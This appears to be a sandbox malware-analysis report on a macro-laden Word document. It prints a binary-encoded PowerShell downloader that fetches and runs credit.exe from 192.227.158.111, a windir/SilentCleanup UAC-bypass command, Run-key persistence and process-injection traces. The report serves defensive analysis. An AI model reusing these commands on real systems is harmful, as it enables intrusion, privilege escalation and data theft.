NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05060000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05061000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05062000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05063000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05064000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05065000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05066000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05067000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05068000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05069000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0506a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0506b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0506c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 30, 2021, 11:46 a.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0506d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$M_Payment_Remittance_505693.docm

Creates executable files on the filesystem (6 events)

file	C:\Users\Public\UKO.bat
file	C:\Users\test22\AppData\Local\Temp\credit.exe
file	C:\Users\Public\KDECO.bat
file	C:\Users\Public\nest.bat
file	C:\Users\Public\Libraries\Boplulw\Boplulw.exe
file	C:\Users\Public\Trast.bat

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile July 30, 2021, 11:46 a.m.	create_disposition: 5 (FILE_OVERWRITE_IF) file_handle: 0x00000454 filepath: C:\Users\test22\AppData\Local\Temp\~$M_Payment_Remittance_505693.docm desired_access: 0x40100080 (FILE_READ_ATTRIBUTES\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$M_Payment_Remittance_505693.docm create_options: 4194400 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT) status_info: 2 (FILE_CREATED) share_access: 0 ()	1	0	0

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (4 events)

cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	Powershell $v78df0=(00100100,01110111,01100101,00110010,00110010,00111101,00100111,00101000,01001110,01100101,01110111,00101101,01001111,01100010,01101010,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,00100000,01001110,01100101,01110100,00101110,01010111,01100101,00100111,00111011,00100000,00100100,01100010,00110100,01100100,01100110,00111101,00100111,01100010,01000011,01101100,00100111,00100000,00101011,00100000,00100111,01101001,01100101,01101110,01110100,00101001,00101110,01000100,01101111,01110111,01101110,01101100,01101111,00100111,00111011,00100000,00100100,01100011,00110011,00111101,00100111,01100001,01100100,01000110,01101001,01101100,01100101,00101000,00100111,00100111,01101000,01110100,01110100,01110000,00111010,00101111,00101111,00110001,00111001,00110010,00101110,00110010,00110010,00110111,00101110,00110001,00110101,00111000,00101110,00110001,00110001,00110001,00101111,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100111,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101001,00100111,00111011,00100100,01010100,01000011,00111101,01001001,01000101,01011000,00100000,00101000,00100100,01110111,01100101,00110010,00110010,00101100,00100100,01100010,00110100,01100100,01100110,00101100,00100100,01100011,00110011,00100000,00101101,01001010,01101111,01101001,01101110,00100000,00100111,00100111,00101001,00111011,01110011,01110100,01100001,01110010,01110100,00101101,01110000,01110010,01101111,01100011,01100101,01110011,01110011,00101000,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100000,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00101001) \| %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };[system.String]::Join('', $v78df0)\|IEX
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v78df0=(00100100,01110111,01100101,00110010,00110010,00111101,00100111,00101000,01001110,01100101,01110111,00101101,01001111,01100010,01101010,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,00100000,01001110,01100101,01110100,00101110,01010111,01100101,00100111,00111011,00100000,00100100,01100010,00110100,01100100,01100110,00111101,00100111,01100010,01000011,01101100,00100111,00100000,00101011,00100000,00100111,01101001,01100101,01101110,01110100,00101001,00101110,01000100,01101111,01110111,01101110,01101100,01101111,00100111,00111011,00100000,00100100,01100011,00110011,00111101,00100111,01100001,01100100,01000110,01101001,01101100,01100101,00101000,00100111,00100111,01101000,01110100,01110100,01110000,00111010,00101111,00101111,00110001,00111001,00110010,00101110,00110010,00110010,00110111,00101110,00110001,00110101,00111000,00101110,00110001,00110001,00110001,00101111,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100111,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101001,00100111,00111011,00100100,01010100,01000011,00111101,01001001,01000101,01011000,00100000,00101000,00100100,01110111,01100101,00110010,00110010,00101100,00100100,01100010,00110100,01100100,01100110,00101100,00100100,01100011,00110011,00100000,00101101,01001010,01101111,01101001,01101110,00100000,00100111,00100111,00101001,00111011,01110011,01110100,01100001,01110010,01110100,00101101,01110000,01110010,01101111,01100011,01100101,01110011,01110011,00101000,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100000,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00101001) \| %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };[system.String]::Join('', $v78df0)\|IEX
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Word document hooks document open

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\credit.exe

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW July 30, 2021, 11:46 a.m.	show_type: 0 filepath_r: Powershell parameters: $v78df0=(00100100,01110111,01100101,00110010,00110010,00111101,00100111,00101000,01001110,01100101,01110111,00101101,01001111,01100010,01101010,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,00100000,01001110,01100101,01110100,00101110,01010111,01100101,00100111,00111011,00100000,00100100,01100010,00110100,01100100,01100110,00111101,00100111,01100010,01000011,01101100,00100111,00100000,00101011,00100000,00100111,01101001,01100101,01101110,01110100,00101001,00101110,01000100,01101111,01110111,01101110,01101100,01101111,00100111,00111011,00100000,00100100,01100011,00110011,00111101,00100111,01100001,01100100,01000110,01101001,01101100,01100101,00101000,00100111,00100111,01101000,01110100,01110100,01110000,00111010,00101111,00101111,00110001,00111001,00110010,00101110,00110010,00110010,00110111,00101110,00110001,00110101,00111000,00101110,00110001,00110001,00110001,00101111,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100111,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00100111,00101001,00100111,00111011,00100100,01010100,01000011,00111101,01001001,01000101,01011000,00100000,00101000,00100100,01110111,01100101,00110010,00110010,00101100,00100100,01100010,00110100,01100100,01100110,00101100,00100100,01100011,00110011,00100000,00101101,01001010,01101111,01101001,01101110,00100000,00100111,00100111,00101001,00111011,01110011,01110100,01100001,01110010,01110100,00101101,01110000,01110010,01101111,01100011,01100101,01110011,01110011,00101000,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100000,00100111,01011100,01100011,01110010,01100101,01100100,01101001,01110100,00101110,01100101,01111000,01100101,00100111,00101001) \| %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };[system.String]::Join('', $v78df0)\|IEX filepath: Powershell	1	1	0

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2428 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 94208 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x048c1000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 30, 2021, 11:46 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (3 events)

Data received	;Xuï;Xu_;x×+P@AL$è5üÿÿ\|$t3L$T$Åèoúÿÿ\|$uL$T$D$èüÿÿ$3ÒéL$×Ãèîûÿÿ\|$t4L$T$Åè(úÿÿ\|$TÿÿÿL$T$D$è4üÿÿ$3ÒëRh;ÝuB;x;$Å×è×üÿÿ$8t.$@B$@)Bxuèùÿÿë$3ÒÄ]_^[ÃSÄèÙÿ?áÀÿÿ$ÐâÀÿÿT$D$;$v_ËT$+$$èýÿÿL$Ó¸üLè]ùÿÿ\$ÛtL$T$ÃènûÿÿD$D$D$D$\|$tT$¸üLè©ùÿÿë3ÀÄ[ÃÀUìQ3ÒUh @dÿ2d"hÌLè¼÷ÿÿ=MLt hÌLè±÷ÿÿ¸ìLèCøÿÿ¸üLè9øÿÿ¸(Lè/øÿÿhøjè_÷ÿÿ£$L=$Lt@¸$L3ÉLô@=uìÇEüLEüUüPEüUüEü£LÆÄL3ÀZYYdh'@=MLt hÌLè!÷ÿÿÃéc ëå ÄLY]ÃUìÄø=ÄLè3ÀUh$@dÿ0d =MLt hÌLèÔöÿÿÆÄL¡$LPè¢öÿÿ3À£$L¡ìLEøëhjEø@PèöÿÿEøEø¸ìL;EøuÛ¸ìLè÷ÿÿ¸üLè÷ÿÿ¸(Lè ÷ÿÿ¡äLEü}üt!Eü£äLEüPè-öÿÿ¡äLEü}üuß3ÀZYYdh+@=MLt hÌLè'öÿÿhÌLè%öÿÿÃé_ëÛYY]ÃSÄø;Lu PLP$PúN;$uÒyÂÁú¡$L3ÉLôëKÒyÂÁú $L$\ôD$$T$D$$PëD$$T$D$$PYZ[Ã@SQÌ(LëR;Âr S;Ârº(L;ußÇÈL3ÀZ[ÃÀSQÊé$ú\|$ÇÑèÚZ[Ãú\|ÊÉ$Z[Ãÿ´LÐêâüÿÿê¸LèûÃÀú\|ÊÀèÊÿÿÿÃú\| ÊÉÂ þÃSVQÐêÊáùt ÇÈLÚãüÿÿ+ÃÈ3÷Âþÿÿÿt ÇÈLöt)Ðêr+Æ$$;pt ÇÈL$è0þÿÿÞÃZ^[ÃSVQØ3ö©t%üÿÿðØ¨u$$èþýÿÿ$@ðØ#þÆZ^[Ã@SVWUÄôòè3ÛÅèhþÿÿD$\|$D$xÇT$BÐ.+Ñúð+õÅ+Çø}D$Õ+PÖÌÇèûÿÿëÌÖêEèûÿÿ<$ÿt:×+ÕÅè=þÿÿT$RL$QÇD$;Ðv .+Ðè{þÿÿÔD$èüôÿÿ³ÃÄ]_^[ÃSVÄôÚð4$$X$ÃèXûvÃÀyÀÁø$LTôT$\|$u#$L$Lô$$P$$éD$D$$T$P$
Data received	þStyleüHDaÿ°DLDAnchorsA_ÿpþ¨DBiDiMode=CtÿtCCharCase@`Bpÿ$D@DÿColor¤IDtÿ¤ÀDConstraints@¥ÿ\EECtl3D<ADzÿzÿôÿÿÿ DragCursorXHDÿÿDragKindÐGD]ÿ`þDragModeT@ÿþ DropDownCount@Pþdþì»DEnabledàdBhÿxDDFontÔVDÿÿImeModedWDÿÿ ImeNameT@üþþ! ItemHeightT@ÌþÐþÿÿÿÿ" ItemIndexT@ÿLC# MaxLength@`ÿlþ$ParentBiDiMode@ZÿHD%ParentColor@©ÿE&ParentCtl3D@Yÿ°D' ParentFont@ÿøD(ParentShowHintXE\|ÿ<D) PopupMenu@ÿÔDD*ShowHint@uÿ¦C+SortedHD¸E8Eÿÿÿÿ,TabOrder@¤ÿPE-TabStop¤HDD´D.Text@Wÿ¤DL¼D/VisibleØAÿÿ0OnChangeØA ÿ ÿl¼D1OnClickØA0ÿ0ÿ2 OnCloseUpQD0ÿ0ÿ3OnContextPopupØA(ÿ(ÿ4 OnDblClickLLDèÿèÿ5 OnDragDropÄKDðÿðÿ6 OnDragOver¬SCÿÿ7 OnDrawItemØA(ÿ(ÿ8 OnDropDownôLDÿÿ9 OnEndDockôLDÿÿ: OnEndDragØAÀÿÀÿ;OnEnterØAÈÿÈÿ<OnExit<KDØÿØÿ= OnKeyDownKDàÿàÿ> OnKeyPress<KDèÿèÿ?OnKeyUpTCÿÿ@ OnMeasureItemØA ÿ ÿAOnSelect´NDÿÿBOnStartDock¬LDÿÿCOnStartDragxA<ÿþDItemsØcCTdC,ôUD<8@H8@L8@P8@D8@x5@5@tQB´C¨QBÀDÜQBlD,QBÀQBRB¬D,´C DÌfEèÁDDTDgE0gEDXgEèDd´CDhgEðÁDüD<D(D\|gEgELD¼DTButtonActionLinkÀ´dC´eCeCeCÈXDPBH8@¸IBP8@\àDx5@5@(ÃDðE$ØDØÈA¼D,DÐÄDlD PBdMB\MB¨PBÈ´CE ElE DÄEäEÄEèDìD\¾D¾DTDdDàDXDlDDtµC¿DPEEÐþDðEHÅDÜËDÙDd¶ClÖDÔDÚD ÚDØØDØD0EÈâDàEtEElµCpµC8½ïÿÙÿìµC8¶CµCdµCTButtonControl@´eCTButtonControl´dC\|\DStdCtrls@(fC<gCüfC.gChdCPBH8@¸IBP8@\àDx5@5@(ÃDðE$ØDØÈA¼D,DÐÄDlD PBdMB\MB¨PB¶CE ElE DÄEäEÄEèDìD\¾D¾DTDdDàDXDlDDtµC¿DPEEÐþDðEHÅDÜËDÙD°·ClÖDì·CÚD ÚDØØDØD0EÈâDàEtEElµCpµC(·C°°°½5½ëÿÈÿ¸C¸C¹C¸C¹C`¹C·C$·CTButtonÀ<gCTButton(fC°eC1StdCtrls&à¨A<þÐDActionüHDaÿ°DLDAnchorsA_ÿpþ¨D BiDiMode@ÿÿCancel¤HDD´DÌ»DCaption¤IDtÿ¤ÀDConstraints@ÿ\|·CDefault<ADzÿzÿôÿÿÿ DragCursorXHDÿÿDragKindÐGD]ÿ`þDragMode@Pþdþì»DEnabledàdBhÿxDDFont ADÿÿModalResult@`ÿlþParentBiDiMode@Yÿ°D ParentFont@ÿøDParentShowHintXE\|ÿ<D PopupMenu@ÿÔDDShowHintHD¸E8EÿÿÿÿTabOrder@¤ÿPE
Data received	TabStop@Wÿ¤DL¼DVisible@ ÿ¶C WordWrapØA ÿ ÿl¼D!OnClickQD0ÿ0ÿ"OnContextPopupLLDèÿèÿ# OnDragDropÄKDðÿðÿ$ OnDragOverôLDÿÿ% OnEndDockôLDÿÿ& OnEndDragØAÀÿÀÿ'OnEnterØAÈÿÈÿ(OnExit<KDØÿØÿ) OnKeyDownKDàÿàÿ* OnKeyPress<KDèÿèÿ+OnKeyUp`JDÐÿÐÿ,OnMouseDownØJDØÿØÿ-OnMouseMove`JDàÿàÿ. OnMouseUp´NDÿÿ/OnStartDock¬LDÿÿ0OnStartDrag°lC TListBoxStyle¬lC lbStandardlbOwnerDrawFixedlbOwnerDrawVariable lbVirtuallbVirtualOwnerDrawStdCtrlsÀ(mCTLBGetDataEventControlTWinControlIndexIntegerDataString\|\DT@Ü@@mCTLBGetDataObjectEve

Poweshell is sending data to a remote host (1 event)

Data sent

GET /credit.exe HTTP/1.1 Host: 192.227.158.111 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 30, 2021, 11:46 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (50 out of 68 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	reg delete hkcu\Environment /v windir /f
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 06d100b6739d81d24681303d479d1c3f0c3141e6

Communicates with host for which no DNS query was performed (1 event)

host

192.227.158.111

Allocates execute permission to another process indicative of possible code injection (12 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00010000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00020000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00130000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00140000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00150000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00160000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Boplulw

reg_value

C:\Users\Public\Libraries\wlulpoB.url

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\credit.exe

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (5 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2428 created a remote thread in non-child process 2808
CreateRemoteThread July 30, 2021, 11:47 a.m.	thread_identifier: 2844 process_identifier: 2808 function_address: 0x000b0000 flags: 0 stack_size: 0 parameter: 0x00000000 process_handle: 0x00000198	1	1368	0
CreateRemoteThread July 30, 2021, 11:47 a.m.	thread_identifier: 2848 process_identifier: 2808 function_address: 0x00020000 flags: 0 stack_size: 0 parameter: 0x00010000 process_handle: 0x00000198	1	1368	0
CreateRemoteThread July 30, 2021, 11:47 a.m.	thread_identifier: 2852 process_identifier: 2808 function_address: 0x00160000 flags: 0 stack_size: 0 parameter: 0x00150000 process_handle: 0x00000198	1	1364	0
CreateRemoteThread July 30, 2021, 11:47 a.m.	thread_identifier: 2856 process_identifier: 2808 function_address: 0x00200000 flags: 0 stack_size: 0 parameter: 0x001f0000 process_handle: 0x00000198	1	1372	0

Manipulates memory of a non-child process indicative of process injection (13 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2428 manipulating memory of non-child process 2808
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000198	1	0	0
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0
NtAllocateVirtualMemory July 30, 2021, 11:47 a.m.	process_identifier: 2808 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00010000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000198	1	0	0
